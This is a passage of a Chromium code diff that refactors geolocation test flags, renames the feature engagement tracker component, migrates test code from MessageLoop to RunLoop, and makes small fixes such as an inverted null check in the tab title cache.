-    private static final String DISABLE_CONSISTENT_GEOLOCATION_FEATURE =
-            "disable-features=ConsistentOmniboxGeolocation";
-    private static final String ENABLE_XGEO_VISIBLE_NETWORKS =
-            "enable-features=XGEOVisibleNetworks";
-    private static final String DISABLE_XGEO_VISIBLE_NETWORKS =
-            "disable-features=XGEOVisibleNetworks";
+    private static final String DISABLE_FEATURES = "disable-features=";
+    private static final String ENABLE_FEATURES = "enable-features=";
+    private static final String FEATURE_SEPARATOR = ",";
+    private static final String CONSISTENT_GEOLOCATION_FEATURE = "ConsistentOmniboxGeolocation";
+    private static final String XGEO_VISIBLE_NETWORKS_FEATURE = "XGEOVisibleNetworks";
     private static final String GOOGLE_BASE_URL_SWITCH = "google-base-url=https://www.google.com";
     private static final double LOCATION_LAT = 20.3;
     private static final double LOCATION_LONG = 155.8;
@@ -53,7 +50,8 @@
 
     @SmallTest
     @Feature({"Location"})
-    @CommandLineFlags.Add({DISABLE_CONSISTENT_GEOLOCATION_FEATURE, DISABLE_XGEO_VISIBLE_NETWORKS})
+    @CommandLineFlags.Add({DISABLE_FEATURES + CONSISTENT_GEOLOCATION_FEATURE + FEATURE_SEPARATOR
+            + XGEO_VISIBLE_NETWORKS_FEATURE})
     public void testGeolocationHeader() throws ProcessInitException {
         long now = setMockLocationNow();
 
@@ -77,8 +75,8 @@
 
     @SmallTest
     @Feature({"Location"})
-    @CommandLineFlags.Add({ENABLE_CONSISTENT_GEOLOCATION_FEATURE, GOOGLE_BASE_URL_SWITCH,
-            DISABLE_XGEO_VISIBLE_NETWORKS})
+    @CommandLineFlags.Add({ENABLE_FEATURES + CONSISTENT_GEOLOCATION_FEATURE, GOOGLE_BASE_URL_SWITCH,
+            DISABLE_FEATURES + XGEO_VISIBLE_NETWORKS_FEATURE})
     public void testConsistentHeader() throws ProcessInitException {
         long now = setMockLocationNow();
 
@@ -104,7 +102,8 @@
 
     @SmallTest
     @Feature({"Location"})
-    @CommandLineFlags.Add(DISABLE_CONSISTENT_GEOLOCATION_FEATURE)
+    @CommandLineFlags.Add(DISABLE_FEATURES + CONSISTENT_GEOLOCATION_FEATURE + FEATURE_SEPARATOR
+            + XGEO_VISIBLE_NETWORKS_FEATURE)
     public void testPermissions() throws ProcessInitException {
         long now = setMockLocationNow();
 
@@ -116,8 +115,8 @@
 
     @SmallTest
     @Feature({"Location"})
-    @CommandLineFlags.Add({ENABLE_CONSISTENT_GEOLOCATION_FEATURE, GOOGLE_BASE_URL_SWITCH,
-            DISABLE_XGEO_VISIBLE_NETWORKS})
+    @CommandLineFlags.Add({ENABLE_FEATURES + CONSISTENT_GEOLOCATION_FEATURE, GOOGLE_BASE_URL_SWITCH,
+            DISABLE_FEATURES + XGEO_VISIBLE_NETWORKS_FEATURE})
     public void testPermissionAndSetting() throws ProcessInitException {
         long now = setMockLocationNow();
 
@@ -131,7 +130,8 @@
 
     @SmallTest
     @Feature({"Location"})
-    @CommandLineFlags.Add({DISABLE_CONSISTENT_GEOLOCATION_FEATURE, DISABLE_XGEO_VISIBLE_NETWORKS})
+    @CommandLineFlags.Add({DISABLE_FEATURES + CONSISTENT_GEOLOCATION_FEATURE + FEATURE_SEPARATOR
+            + XGEO_VISIBLE_NETWORKS_FEATURE})
     public void testOnlyNonStale() throws ProcessInitException {
         // X-Geo should be sent only with non-stale locations.
         long now = System.currentTimeMillis();
@@ -148,7 +148,7 @@
 
     @SmallTest
     @Feature({"Location"})
-    @CommandLineFlags.Add({DISABLE_XGEO_VISIBLE_NETWORKS})
+    @CommandLineFlags.Add({DISABLE_FEATURES + XGEO_VISIBLE_NETWORKS_FEATURE})
     public void testAsciiEncoding() throws ProcessInitException {
         long now = setMockLocationNow();
 
@@ -158,7 +158,7 @@
 
     @SmallTest
     @Feature({"Location"})
-    @CommandLineFlags.Add({ENABLE_XGEO_VISIBLE_NETWORKS})
+    @CommandLineFlags.Add({ENABLE_FEATURES + XGEO_VISIBLE_NETWORKS_FEATURE})
     public void testProtoEncoding() throws ProcessInitException {
         long now = setMockLocationNow();
 
@@ -168,7 +168,7 @@
 
     @SmallTest
     @Feature({"Location"})
-    @CommandLineFlags.Add({DISABLE_XGEO_VISIBLE_NETWORKS})
+    @CommandLineFlags.Add({DISABLE_FEATURES + XGEO_VISIBLE_NETWORKS_FEATURE})
     public void testGpsFallbackNotEnabled() throws ProcessInitException {
         // Only GPS location, should not be sent when flag is off.
         long now = System.currentTimeMillis();
@@ -180,7 +180,7 @@
 
     @SmallTest
     @Feature({"Location"})
-    @CommandLineFlags.Add({ENABLE_XGEO_VISIBLE_NETWORKS})
+    @CommandLineFlags.Add({ENABLE_FEATURES + XGEO_VISIBLE_NETWORKS_FEATURE})
     public void testGpsFallbackEnabled() throws ProcessInitException {
         // Only GPS location, should be sent when flag is on.
         long now = System.currentTimeMillis();
@@ -192,7 +192,7 @@
 
     @SmallTest
     @Feature({"Location"})
-    @CommandLineFlags.Add({ENABLE_XGEO_VISIBLE_NETWORKS})
+    @CommandLineFlags.Add({ENABLE_FEATURES + XGEO_VISIBLE_NETWORKS_FEATURE})
     public void testGpsFallbackYounger() throws ProcessInitException {
         long now = System.currentTimeMillis();
         // GPS location is younger.
@@ -207,7 +207,7 @@
 
     @SmallTest
     @Feature({"Location"})
-    @CommandLineFlags.Add({ENABLE_XGEO_VISIBLE_NETWORKS})
+    @CommandLineFlags.Add({ENABLE_FEATURES + XGEO_VISIBLE_NETWORKS_FEATURE})
     public void testGpsFallbackOlder() throws ProcessInitException {
         long now = System.currentTimeMillis();
         // GPS location is older.
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/preferences/privacy/BrowsingDataBridgeTest.java b/chrome/android/javatests/src/org/chromium/chrome/browser/preferences/privacy/BrowsingDataBridgeTest.java
index 1d5bf34..f017bba 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/preferences/privacy/BrowsingDataBridgeTest.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/preferences/privacy/BrowsingDataBridgeTest.java
@@ -18,6 +18,7 @@
 import org.chromium.base.ThreadUtils;
 import org.chromium.base.test.util.CallbackHelper;
 import org.chromium.base.test.util.CommandLineFlags;
+import org.chromium.base.test.util.RetryOnFailure;
 import org.chromium.base.test.util.UserActionTester;
 import org.chromium.chrome.browser.ChromeActivity;
 import org.chromium.chrome.browser.ChromeSwitches;
@@ -64,6 +65,7 @@
      */
     @Test
     @SmallTest
+    @RetryOnFailure
     public void testNoCalls() throws Exception {
         ThreadUtils.runOnUiThreadBlocking(new Runnable() {
             @Override
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/snackbar/undo/UndoBarControllerTest.java b/chrome/android/javatests/src/org/chromium/chrome/browser/snackbar/undo/UndoBarControllerTest.java
index ebe39c7..d855abc 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/snackbar/undo/UndoBarControllerTest.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/snackbar/undo/UndoBarControllerTest.java
@@ -16,6 +16,7 @@
 
 import org.chromium.base.ThreadUtils;
 import org.chromium.base.test.util.CommandLineFlags;
+import org.chromium.base.test.util.RetryOnFailure;
 import org.chromium.chrome.R;
 import org.chromium.chrome.browser.ChromeSwitches;
 import org.chromium.chrome.browser.snackbar.Snackbar;
@@ -93,6 +94,7 @@
 
     @Test
     @SmallTest
+    @RetryOnFailure
     public void testCloseAll_MultipleTabs_Undo() throws Exception {
         ChromeTabUtils.newTabFromMenu(
                 InstrumentationRegistry.getInstrumentation(), mActivityTestRule.getActivity());
diff --git a/chrome/android/javatests/src/org/chromium/chrome/browser/vr_shell/WebVrTransitionTest.java b/chrome/android/javatests/src/org/chromium/chrome/browser/vr_shell/WebVrTransitionTest.java
index 8d9ae2c..c9051fa3 100644
--- a/chrome/android/javatests/src/org/chromium/chrome/browser/vr_shell/WebVrTransitionTest.java
+++ b/chrome/android/javatests/src/org/chromium/chrome/browser/vr_shell/WebVrTransitionTest.java
@@ -98,6 +98,7 @@
      */
     @Test
     @MediumTest
+    @CommandLineFlags.Add("enable-features=WebVrAutopresent")
     @Restriction(RESTRICTION_TYPE_VIEWER_DAYDREAM)
     public void testTrustedIntentAllowsAutoPresent() throws InterruptedException {
         VrIntentHandler.setInstanceForTesting(new MockVrIntentHandler(
diff --git a/chrome/app/chromeos_strings.grdp b/chrome/app/chromeos_strings.grdp
index c93c474f..a56d440 100644
--- a/chrome/app/chromeos_strings.grdp
+++ b/chrome/app/chromeos_strings.grdp
@@ -5335,12 +5335,9 @@
   <message name="IDS_FIRST_RUN_HELP_STEP_HEADER" desc="Header of the first-run tutorial bubble pointing to help button in system tray.">
     Explore your Chromebook
   </message>
-  <message name="IDS_FIRST_RUN_HELP_STEP_TEXT_1" desc="First part of text shown on the first-run tutorial bubble pointing to help button in system tray.">
+  <message name="IDS_FIRST_RUN_HELP_STEP_TEXT" desc="First part of text shown on the first-run tutorial bubble pointing to help button in system tray.">
     Discover more features or get answers. Select “?” for help.
   </message>
-  <message name="IDS_FIRST_RUN_HELP_STEP_TEXT_2" desc="Second part of text shown on the first-run tutorial bubble pointing to help button in system tray.">
-    Want to discover more awesome features?
-  </message>
   <message name="IDS_FIRST_RUN_HELP_STEP_KEEP_EXPLORING_BUTTON" desc="Text on the button located in the first-run tutorial bubble pointing to help button is system tray. After click on the button tutorial finishes and help app opens.">
     Keep exploring
   </message>
diff --git a/chrome/app/version_assembly/BUILD.gn b/chrome/app/version_assembly/BUILD.gn
index f9336e7c..d9151bc 100644
--- a/chrome/app/version_assembly/BUILD.gn
+++ b/chrome/app/version_assembly/BUILD.gn
@@ -28,8 +28,6 @@
     version_assembly_output_file,
   ]
 
-  type = "exe"
-
   deps = [
     ":chrome_exe_version_manifest",
   ]
diff --git a/chrome/browser/BUILD.gn b/chrome/browser/BUILD.gn
index 877a5d0..5d43949f 100644
--- a/chrome/browser/BUILD.gn
+++ b/chrome/browser/BUILD.gn
@@ -424,8 +424,8 @@
     "favicon/favicon_utils.h",
     "favicon/large_icon_service_factory.cc",
     "favicon/large_icon_service_factory.h",
-    "feature_engagement_tracker/feature_engagement_tracker_factory.cc",
-    "feature_engagement_tracker/feature_engagement_tracker_factory.h",
+    "feature_engagement/tracker_factory.cc",
+    "feature_engagement/tracker_factory.h",
     "file_select_helper.cc",
     "file_select_helper.h",
     "file_select_helper_mac.mm",
@@ -1534,7 +1534,7 @@
     "//components/favicon/content",
     "//components/favicon/core",
     "//components/favicon_base",
-    "//components/feature_engagement_tracker",
+    "//components/feature_engagement",
     "//components/flags_ui",
     "//components/gcm_driver",
     "//components/google/core/browser",
@@ -2764,7 +2764,7 @@
       "android/download/ui/thumbnail_provider.h",
       "android/favicon_helper.cc",
       "android/favicon_helper.h",
-      "android/feature_engagement_tracker/feature_engagement_tracker_factory_android.cc",
+      "android/feature_engagement/tracker_factory_android.cc",
       "android/feature_utilities.cc",
       "android/feature_utilities.h",
       "android/feedback/connectivity_checker.cc",
@@ -3673,10 +3673,10 @@
 
   if ((is_linux && !is_chromeos) || is_win) {
     sources += [
-      "feature_engagement_tracker/new_tab/new_tab_tracker.cc",
-      "feature_engagement_tracker/new_tab/new_tab_tracker.h",
-      "feature_engagement_tracker/new_tab/new_tab_tracker_factory.cc",
-      "feature_engagement_tracker/new_tab/new_tab_tracker_factory.h",
+      "feature_engagement/new_tab/new_tab_tracker.cc",
+      "feature_engagement/new_tab/new_tab_tracker.h",
+      "feature_engagement/new_tab/new_tab_tracker_factory.cc",
+      "feature_engagement/new_tab/new_tab_tracker_factory.h",
     ]
   }
 
@@ -4039,7 +4039,7 @@
       "../android/java/src/org/chromium/chrome/browser/engagement/SiteEngagementService.java",
       "../android/java/src/org/chromium/chrome/browser/favicon/FaviconHelper.java",
       "../android/java/src/org/chromium/chrome/browser/favicon/LargeIconBridge.java",
-      "../android/java/src/org/chromium/chrome/browser/feature_engagement_tracker/FeatureEngagementTrackerFactory.java",
+      "../android/java/src/org/chromium/chrome/browser/feature_engagement/TrackerFactory.java",
       "../android/java/src/org/chromium/chrome/browser/feedback/ConnectivityChecker.java",
       "../android/java/src/org/chromium/chrome/browser/feedback/ScreenshotTask.java",
       "../android/java/src/org/chromium/chrome/browser/findinpage/FindInPageBridge.java",
diff --git a/chrome/browser/about_flags.cc b/chrome/browser/about_flags.cc
index bf80cbcb..b96f24a 100644
--- a/chrome/browser/about_flags.cc
+++ b/chrome/browser/about_flags.cc
@@ -46,8 +46,8 @@
 #include "components/dom_distiller/core/dom_distiller_switches.h"
 #include "components/error_page/common/error_page_switches.h"
 #include "components/favicon/core/features.h"
-#include "components/feature_engagement_tracker/public/feature_constants.h"
-#include "components/feature_engagement_tracker/public/feature_list.h"
+#include "components/feature_engagement/public/feature_constants.h"
+#include "components/feature_engagement/public/feature_list.h"
 #include "components/flags_ui/feature_entry.h"
 #include "components/flags_ui/feature_entry_macros.h"
 #include "components/flags_ui/flags_storage.h"
@@ -1848,8 +1848,8 @@
      flag_descriptions::kInProductHelpDemoModeChoiceName,
      flag_descriptions::kInProductHelpDemoModeChoiceDescription, kOsAll,
      FEATURE_WITH_PARAMS_VALUE_TYPE(
-         feature_engagement_tracker::kIPHDemoMode,
-         feature_engagement_tracker::kIPHDemoModeChoiceVariations,
+         feature_engagement::kIPHDemoMode,
+         feature_engagement::kIPHDemoModeChoiceVariations,
          "IPH_DemoMode")},
     {"num-raster-threads", flag_descriptions::kNumRasterThreadsName,
      flag_descriptions::kNumRasterThreadsDescription, kOsAll,
@@ -2631,6 +2631,11 @@
      flag_descriptions::kEnableAndroidPayIntegrationV2Name,
      flag_descriptions::kEnableAndroidPayIntegrationV2Description, kOsAndroid,
      FEATURE_VALUE_TYPE(chrome::android::kAndroidPayIntegrationV2)},
+    {"enable-web-payments-method-section-order-v2",
+     flag_descriptions::kEnableWebPaymentsMethodSectionOrderV2Name,
+     flag_descriptions::kEnableWebPaymentsMethodSectionOrderV2Description,
+     kOsAndroid,
+     FEATURE_VALUE_TYPE(payments::features::kWebPaymentsMethodSectionOrderV2)},
     {"enable-web-payments-single-app-ui-skip",
      flag_descriptions::kEnableWebPaymentsSingleAppUiSkipName,
      flag_descriptions::kEnableWebPaymentsSingleAppUiSkipDescription,
diff --git a/chrome/browser/android/browsing_data/browsing_data_bridge.cc b/chrome/browser/android/browsing_data/browsing_data_bridge.cc
index af6a682..f01a1ab 100644
--- a/chrome/browser/android/browsing_data/browsing_data_bridge.cc
+++ b/chrome/browser/android/browsing_data/browsing_data_bridge.cc
@@ -102,6 +102,11 @@
         remove_mask |=
             ChromeBrowsingDataRemoverDelegate::DATA_TYPE_CONTENT_SETTINGS;
         break;
+      case browsing_data::BrowsingDataType::DOWNLOADS:
+      case browsing_data::BrowsingDataType::MEDIA_LICENSES:
+      case browsing_data::BrowsingDataType::HOSTED_APPS_DATA:
+        // Only implemented on Desktop.
+        NOTREACHED();
       case browsing_data::BrowsingDataType::NUM_TYPES:
         NOTREACHED();
     }
diff --git a/chrome/browser/android/chrome_feature_list.cc b/chrome/browser/android/chrome_feature_list.cc
index 082462a..659cb14 100644
--- a/chrome/browser/android/chrome_feature_list.cc
+++ b/chrome/browser/android/chrome_feature_list.cc
@@ -97,6 +97,7 @@
     &kVideoPersistence,
     &kVrBrowsingFeedback,
     &kVrCustomTabBrowsing,
+    &payments::features::kWebPaymentsMethodSectionOrderV2,
     &payments::features::kWebPaymentsModifiers,
     &kWebPaymentsSingleAppUiSkip,
     &kWebVrAutopresent,
diff --git a/chrome/browser/android/compositor/layer_title_cache.cc b/chrome/browser/android/compositor/layer_title_cache.cc
index 09eb3862..eec2f13 100644
--- a/chrome/browser/android/compositor/layer_title_cache.cc
+++ b/chrome/browser/android/compositor/layer_title_cache.cc
@@ -83,7 +83,7 @@
                                     jint tab_id,
                                     jint favicon_resource_id) {
   DecorationTitle* title_layer = layer_cache_.Lookup(tab_id);
-  if (title_layer == nullptr && favicon_resource_id != -1) {
+  if (title_layer && favicon_resource_id != -1) {
     title_layer->SetFaviconResourceId(favicon_resource_id);
   }
 }
diff --git a/chrome/browser/android/feature_engagement/OWNERS b/chrome/browser/android/feature_engagement/OWNERS
new file mode 100644
index 0000000..46eae34
--- /dev/null
+++ b/chrome/browser/android/feature_engagement/OWNERS
@@ -0,0 +1 @@
+file://components/feature_engagement/OWNERS
diff --git a/chrome/browser/android/feature_engagement/tracker_factory_android.cc b/chrome/browser/android/feature_engagement/tracker_factory_android.cc
new file mode 100644
index 0000000..ff0cf545
--- /dev/null
+++ b/chrome/browser/android/feature_engagement/tracker_factory_android.cc
@@ -0,0 +1,21 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#include "base/android/scoped_java_ref.h"
+#include "chrome/browser/feature_engagement/tracker_factory.h"
+#include "chrome/browser/profiles/profile.h"
+#include "chrome/browser/profiles/profile_android.h"
+#include "components/feature_engagement/public/tracker.h"
+#include "jni/TrackerFactory_jni.h"
+
+static base::android::ScopedJavaLocalRef<jobject> GetTrackerForProfile(
+    JNIEnv* env,
+    const base::android::JavaParamRef<jclass>& clazz,
+    const base::android::JavaParamRef<jobject>& jprofile) {
+  Profile* profile = ProfileAndroid::FromProfileAndroid(jprofile);
+  DCHECK(profile);
+  return feature_engagement::Tracker::GetJavaObject(
+      feature_engagement::TrackerFactory::GetInstance()->GetForBrowserContext(
+          profile));
+}
diff --git a/chrome/browser/android/feature_engagement_tracker/OWNERS b/chrome/browser/android/feature_engagement_tracker/OWNERS
deleted file mode 100644
index 6e8337d..0000000
--- a/chrome/browser/android/feature_engagement_tracker/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-file://components/feature_engagement_tracker/OWNERS
diff --git a/chrome/browser/android/feature_engagement_tracker/feature_engagement_tracker_factory_android.cc b/chrome/browser/android/feature_engagement_tracker/feature_engagement_tracker_factory_android.cc
deleted file mode 100644
index 359892a..0000000
--- a/chrome/browser/android/feature_engagement_tracker/feature_engagement_tracker_factory_android.cc
+++ /dev/null
@@ -1,22 +0,0 @@
-// Copyright 2017 The Chromium Authors. All rights reserved.
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "base/android/scoped_java_ref.h"
-#include "chrome/browser/feature_engagement_tracker/feature_engagement_tracker_factory.h"
-#include "chrome/browser/profiles/profile.h"
-#include "chrome/browser/profiles/profile_android.h"
-#include "components/feature_engagement_tracker/public/feature_engagement_tracker.h"
-#include "jni/FeatureEngagementTrackerFactory_jni.h"
-
-static base::android::ScopedJavaLocalRef<jobject>
-GetFeatureEngagementTrackerForProfile(
-    JNIEnv* env,
-    const base::android::JavaParamRef<jclass>& clazz,
-    const base::android::JavaParamRef<jobject>& jprofile) {
-  Profile* profile = ProfileAndroid::FromProfileAndroid(jprofile);
-  DCHECK(profile);
-  return feature_engagement_tracker::FeatureEngagementTracker::GetJavaObject(
-      FeatureEngagementTrackerFactory::GetInstance()->GetForBrowserContext(
-          profile));
-}
diff --git a/chrome/browser/android/history_report/OWNERS b/chrome/browser/android/history_report/OWNERS
index 047e38a..1797e6d 100644
--- a/chrome/browser/android/history_report/OWNERS
+++ b/chrome/browser/android/history_report/OWNERS
@@ -1 +1,2 @@
+wychen@chromium.org
 nyquist@chromium.org
diff --git a/chrome/browser/apps/app_window_browsertest.cc b/chrome/browser/apps/app_window_browsertest.cc
index 0ee62f5..e74e59e 100644
--- a/chrome/browser/apps/app_window_browsertest.cc
+++ b/chrome/browser/apps/app_window_browsertest.cc
@@ -3,6 +3,7 @@
 // found in the LICENSE file.
 
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "build/build_config.h"
 #include "chrome/browser/apps/app_browsertest_util.h"
 #include "chrome/browser/profiles/profile.h"
@@ -68,7 +69,7 @@
       cache_->RemoveObserver(this);
 
       if (waiting_)
-        base::MessageLoopForUI::current()->QuitWhenIdle();
+        base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
diff --git a/chrome/browser/autofill/autofill_browsertest.cc b/chrome/browser/autofill/autofill_browsertest.cc
index 56f0fbc..db83bf7 100644
--- a/chrome/browser/autofill/autofill_browsertest.cc
+++ b/chrome/browser/autofill/autofill_browsertest.cc
@@ -85,7 +85,7 @@
   // PersonalDataManagerObserver:
   void OnPersonalDataChanged() override {
     if (has_run_message_loop_) {
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
       has_run_message_loop_ = false;
     }
     alerted_ = true;
diff --git a/chrome/browser/autofill/autofill_uitest_util.cc b/chrome/browser/autofill/autofill_uitest_util.cc
index d4e42be..97ff742a 100644
--- a/chrome/browser/autofill/autofill_uitest_util.cc
+++ b/chrome/browser/autofill/autofill_uitest_util.cc
@@ -5,6 +5,7 @@
 #include "chrome/browser/autofill/autofill_uitest_util.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "chrome/browser/autofill/personal_data_manager_factory.h"
 #include "chrome/browser/ui/browser.h"
 #include "chrome/browser/ui/tabs/tab_strip_model.h"
@@ -29,7 +30,7 @@
   // PersonalDataManagerObserver:
   void OnPersonalDataChanged() override {
     if (has_run_message_loop_) {
-      base::MessageLoopForUI::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
       has_run_message_loop_ = false;
     }
     alerted_ = true;
diff --git a/chrome/browser/browser_keyevents_browsertest.cc b/chrome/browser/browser_keyevents_browsertest.cc
index b89162d..5d842f83 100644
--- a/chrome/browser/browser_keyevents_browsertest.cc
+++ b/chrome/browser/browser_keyevents_browsertest.cc
@@ -9,6 +9,7 @@
 #include "base/logging.h"
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/stringprintf.h"
 #include "base/strings/utf_string_conversions.h"
 #include "base/values.h"
@@ -119,7 +120,7 @@
     if (*dom_op_result.ptr() == "\"FINISHED\"") {
       finished_ = true;
       if (waiting_)
-        base::MessageLoopForUI::current()->QuitWhenIdle();
+        base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
diff --git a/chrome/browser/browser_process.h b/chrome/browser/browser_process.h
index 93dbdfe..e9b1b72 100644
--- a/chrome/browser/browser_process.h
+++ b/chrome/browser/browser_process.h
@@ -15,6 +15,7 @@
 #include <memory>
 #include <string>
 
+#include "base/callback_forward.h"
 #include "base/macros.h"
 #include "build/build_config.h"
 #include "chrome/browser/browser_process_platform_part.h"
@@ -138,10 +139,14 @@
 
   // Invoked when the user is logging out/shutting down. When logging off we may
   // not have enough time to do a normal shutdown. This method is invoked prior
-  // to normal shutdown and saves any state that must be saved before we are
-  // continue shutdown.
+  // to normal shutdown and saves any state that must be saved before system
+  // shutdown.
   virtual void EndSession() = 0;
 
+  // Ensures |local_state()| was flushed to disk and then posts |reply| back on
+  // the current sequence.
+  virtual void FlushLocalStateAndReply(base::OnceClosure reply) = 0;
+
   // Gets the manager for the various metrics-related services, constructing it
   // if necessary.
   virtual metrics_services_manager::MetricsServicesManager*
diff --git a/chrome/browser/browser_process_impl.cc b/chrome/browser/browser_process_impl.cc
index aa35aa5..43def4d 100644
--- a/chrome/browser/browser_process_impl.cc
+++ b/chrome/browser/browser_process_impl.cc
@@ -469,6 +469,12 @@
 
 }  // namespace
 
+void BrowserProcessImpl::FlushLocalStateAndReply(base::OnceClosure reply) {
+  local_state()->CommitPendingWrite();
+  local_state_task_runner_->PostTaskAndReply(
+      FROM_HERE, base::Bind(&base::DoNothing), std::move(reply));
+}
+
 void BrowserProcessImpl::EndSession() {
   // Mark all the profiles as clean.
   ProfileManager* pm = profile_manager();
@@ -1352,7 +1358,7 @@
   base::ThreadTaskRunnerHandle::Get()->PostTask(
       FROM_HERE, base::Bind(ChromeBrowserMainPartsMac::DidEndMainMessageLoop));
 #endif
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 
 #if !defined(OS_ANDROID)
   chrome::ShutdownIfNeeded();
diff --git a/chrome/browser/browser_process_impl.h b/chrome/browser/browser_process_impl.h
index a7d61321..3750224 100644
--- a/chrome/browser/browser_process_impl.h
+++ b/chrome/browser/browser_process_impl.h
@@ -92,6 +92,7 @@
   // BrowserProcess implementation.
   void ResourceDispatcherHostCreated() override;
   void EndSession() override;
+  void FlushLocalStateAndReply(base::OnceClosure reply) override;
   metrics_services_manager::MetricsServicesManager* GetMetricsServicesManager()
       override;
   metrics::MetricsService* metrics_service() override;
diff --git a/chrome/browser/browsing_data/browsing_data_database_helper_browsertest.cc b/chrome/browser/browsing_data/browsing_data_database_helper_browsertest.cc
index 9325148a..664aec47 100644
--- a/chrome/browser/browsing_data/browsing_data_database_helper_browsertest.cc
+++ b/chrome/browser/browsing_data/browsing_data_database_helper_browsertest.cc
@@ -8,6 +8,7 @@
 #include "base/bind_helpers.h"
 #include "base/files/file_util.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/strings/utf_string_conversions.h"
 #include "chrome/browser/browsing_data/browsing_data_database_helper.h"
 #include "chrome/browser/browsing_data/browsing_data_helper_browsertest.h"
@@ -75,7 +76,7 @@
     ASSERT_EQ(1UL, database_info_list.size());
     EXPECT_EQ(std::string(kTestIdentifier1),
               database_info_list.begin()->identifier.ToString());
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/chrome/browser/browsing_data/browsing_data_file_system_helper_unittest.cc b/chrome/browser/browsing_data/browsing_data_file_system_helper_unittest.cc
index 4455b71..543633ce 100644
--- a/chrome/browser/browsing_data/browsing_data_file_system_helper_unittest.cc
+++ b/chrome/browser/browsing_data/browsing_data_file_system_helper_unittest.cc
@@ -19,6 +19,7 @@
 #include "content/public/browser/storage_partition.h"
 #include "content/public/test/test_browser_thread.h"
 #include "content/public/test/test_browser_thread_bundle.h"
+#include "content/public/test/test_utils.h"
 #include "storage/browser/fileapi/file_system_context.h"
 #include "storage/browser/fileapi/file_system_url.h"
 #include "storage/common/fileapi/file_system_types.h"
@@ -58,11 +59,9 @@
 
 // The FileSystem APIs are all asynchronous; this testing class wraps up the
 // boilerplate code necessary to deal with waiting for responses. In a nutshell,
-// any async call whose response we want to test ought to be followed by a call
-// to BlockUntilNotified(), which will (shockingly!) block until Notify() is
-// called. For this to work, you'll need to ensure that each async call is
-// implemented as a class method that that calls Notify() at an appropriate
-// point.
+// any async call whose response we want to test ought to create a base::RunLoop
+// instance to be followed by a call to BlockUntilQuit(), which will
+// (shockingly!) block until Quit() is called on the RunLoop.
 class BrowsingDataFileSystemHelperTest : public testing::Test {
  public:
   BrowsingDataFileSystemHelperTest() {
@@ -71,45 +70,47 @@
     helper_ = BrowsingDataFileSystemHelper::Create(
         BrowserContext::GetDefaultStoragePartition(profile_.get())->
             GetFileSystemContext());
-    base::RunLoop().RunUntilIdle();
+    content::RunAllBlockingPoolTasksUntilIdle();
     canned_helper_ = new CannedBrowsingDataFileSystemHelper(profile_.get());
   }
   ~BrowsingDataFileSystemHelperTest() override {
     // Avoid memory leaks.
     profile_.reset();
-    base::RunLoop().RunUntilIdle();
+    content::RunAllBlockingPoolTasksUntilIdle();
   }
 
   TestingProfile* GetProfile() {
     return profile_.get();
   }
 
-  // Blocks on the current MessageLoop until Notify() is called.
-  void BlockUntilNotified() { base::RunLoop().Run(); }
-
-  // Unblocks the current MessageLoop. Should be called in response to some sort
-  // of async activity in a callback method.
-  void Notify() { base::MessageLoop::current()->QuitWhenIdle(); }
+  // Blocks on the run_loop quits.
+  void BlockUntilQuit(base::RunLoop& run_loop) {
+    run_loop.Run();                               // Won't return until Quit().
+    content::RunAllBlockingPoolTasksUntilIdle();  // Flush other runners.
+  }
 
   // Callback that should be executed in response to
   // storage::FileSystemContext::OpenFileSystem.
-  void OpenFileSystemCallback(const GURL& root,
+  void OpenFileSystemCallback(base::RunLoop* run_loop,
+                              const GURL& root,
                               const std::string& name,
                               base::File::Error error) {
     open_file_system_result_ = error;
-    Notify();
+    run_loop->Quit();
   }
 
   bool OpenFileSystem(const GURL& origin,
                       storage::FileSystemType type,
                       storage::OpenFileSystemMode open_mode) {
-    BrowserContext::GetDefaultStoragePartition(profile_.get())->
-        GetFileSystemContext()->OpenFileSystem(
+    base::RunLoop run_loop;
+    BrowserContext::GetDefaultStoragePartition(profile_.get())
+        ->GetFileSystemContext()
+        ->OpenFileSystem(
             origin, type, open_mode,
             base::Bind(
                 &BrowsingDataFileSystemHelperTest::OpenFileSystemCallback,
-                base::Unretained(this)));
-    BlockUntilNotified();
+                base::Unretained(this), &run_loop));
+    BlockUntilQuit(run_loop);
     return open_file_system_result_ == base::File::FILE_OK;
   }
 
@@ -127,30 +128,33 @@
   // Callback that should be executed in response to StartFetching(), and stores
   // found file systems locally so that they are available via GetFileSystems().
   void CallbackStartFetching(
+      base::RunLoop* run_loop,
       const std::list<BrowsingDataFileSystemHelper::FileSystemInfo>&
           file_system_info_list) {
     file_system_info_list_.reset(
         new std::list<BrowsingDataFileSystemHelper::FileSystemInfo>(
             file_system_info_list));
-    Notify();
+    run_loop->Quit();
   }
 
   // Calls StartFetching() on the test's BrowsingDataFileSystemHelper
   // object, then blocks until the callback is executed.
   void FetchFileSystems() {
+    base::RunLoop run_loop;
     helper_->StartFetching(
         base::Bind(&BrowsingDataFileSystemHelperTest::CallbackStartFetching,
-                   base::Unretained(this)));
-    BlockUntilNotified();
+                   base::Unretained(this), &run_loop));
+    BlockUntilQuit(run_loop);
   }
 
   // Calls StartFetching() on the test's CannedBrowsingDataFileSystemHelper
